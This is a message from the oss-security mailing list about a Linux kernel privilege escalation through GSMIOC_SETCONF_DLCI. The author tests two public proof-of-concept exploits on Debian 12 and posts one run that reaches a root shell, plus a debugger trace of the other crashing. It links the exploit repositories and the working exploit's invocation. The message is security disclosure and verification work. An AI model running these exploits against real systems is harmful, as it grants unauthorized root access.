[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <b701b525-0c42-4b3a-a1a3-0ea68e864fbe@christopher-kunz.de>
Date: Thu, 11 Apr 2024 10:32:59 +0200
From: "Dr. Christopher Kunz" <info@...istopher-kunz.de>
To: oss-security@...ts.openwall.com
Subject: Re: New Linux LPE via GSMIOC_SETCONF_DLCI?
FWIW,
on a freshly installed and fully updated default Debian 12 VM (from the
current netinst iso), the first two exploits yield different results.
> PoC and writeup are here:
> https://github.com/YuriiCrimson/ExploitGSM/tree/main
This, let's call it "Yurii's version", works as advertised:
$ ./ExploitGSM debian
kallsyms restricted, begin retvial kallsyms table
detected kernel path-> /boot/vmlinuz-6.1.0-18-amd64
detected compressed format -> xz
Uncompressed kernel size -> 65902908
successfully taken kernel!
begin try leak startup_xen!
startup_xen leaked address -> ffffffff8c86f1c0
text leaked address -> ffffffff8a800000
lockdep_map_size -> 32
spinlock_t_size -> 4
mutex_size -> 32
gsm_mux_event_offset -> 56
Let go thread
We get root, spawn shell
root@...ianexploitgsm:/root# id
uid=0(root) gid=0(root) groups=0(root)
> PoC:
> https://github.com/jmpe4x/GSM_Linux_Kernel_LPE_Nday_Exploit/tree/main
This one, however, segfaults. I recompiled it with debugging symbols and
ran it through a quick gdb:
Reading symbols from ./ExploitGSM...
(gdb) run debian
Starting program:
/home/absynth/GSM_Linux_Kernel_LPE_Nday_Exploit/ExploitGSM debian
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00000000004324f7 in __strcmp_avx2 ()
(gdb) bt
#0 0x00000000004324f7 in __strcmp_avx2 ()
#1 0x0000000000401b5e in main (argc=2, argv=0x7fffffffe3f8) at
/home/absynth/GSM_Linux_Kernel_LPE_Nday_Exploit/main.c:552
(gdb)
Line 552 is the kernel release check, so a fairly straightforward piece
of code:
if (strcmp(iter_kernel->os_name, argv[1]) ||
strcmp(iter_kernel->kernel, kernel_info.release))
I'm not a C developer, so I'm not too sure what goes wrong here, but I
guess it's a simple fix.
With regards to Yurii's PoC, I'd say that this can indeed be classified
as a working 0day LPE in the default configuration.
We don't have a CVE for this yet, do we?
Regards,
--cku
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
